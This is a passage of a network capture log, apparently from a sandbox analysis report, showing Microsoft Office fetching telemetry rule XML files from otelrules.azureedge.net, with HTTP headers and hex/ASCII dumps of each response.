2024-11-07 22:47:45 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:45 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:45 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: a01aecef-901e-005b-2d5f-2e2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224745Z-15869dbbcc6bdtw9hC1DFW9m4s00000000t000000000kp72 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:45 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:45 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:45 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:45 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 7b54aac3-c01e-008d-0d5f-2e2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224745Z-15869dbbcc6pfq2ghC1DFWmp14000000021g00000000aqc7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:45 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:46 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:46 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:46 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: d0aff24d-301e-000c-58d2-2c323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224746Z-16547b76f7f7jnp2hC1DFWfc3000000008rg00000000t444 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:46 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:46 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:46 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:46 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 98909b4d-d01e-002b-39d2-2c25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224746Z-16547b76f7fq9mcrhC1DFWq15w00000008pg00000000rmwq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:46 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:46 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:46 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:46 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 36c217ee-101e-008e-63b5-2fcf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224746Z-15869dbbcc6tfpj2hC1DFW384c00000002ag00000000phtz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:46 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:46 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:46 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:46 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 86fb53ab-501e-0078-4ed2-2c06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224746Z-16547b76f7fdf69shC1DFWcpd000000008qg00000000bx4q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:46 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:46 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:46 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:46 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 52750d0d-001e-00ad-1b5c-2e554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224746Z-17df447cdb57srlrhC1DFWwgas000000059g000000003c1f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:46 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	49879	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:46 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:47 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:47 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: fe4e74db-301e-003f-25bc-2c266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224747Z-16547b76f7fnlcwwhC1DFWz6gw00000008tg00000000tkh8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:47 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	49880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:47 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:47 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:47 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: ad01162d-901e-0064-5fc3-2ce8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224747Z-16547b76f7f67wxlhC1DFWah9w00000008sg00000000c5w5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:47 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	49881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:47 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:47 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:47 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 8fcaa1bb-301e-006e-11d2-2cf018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224747Z-16547b76f7fj5p7mhC1DFWf8w400000008zg000000001gb6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:47 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:47 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:47 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:47 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 182ca2aa-101e-00a2-3955-2e9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224747Z-17df447cdb5qkskwhC1DFWeeg4000000057g0000000095yy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 22:47:47 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 22:47:47 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 22:47:47 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 22:47:47 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: a77e48bb-901e-0083-2fa0-30bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T224747Z-17df447cdb528ltlhC1DFWnt1c00000004xg0000000051t0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
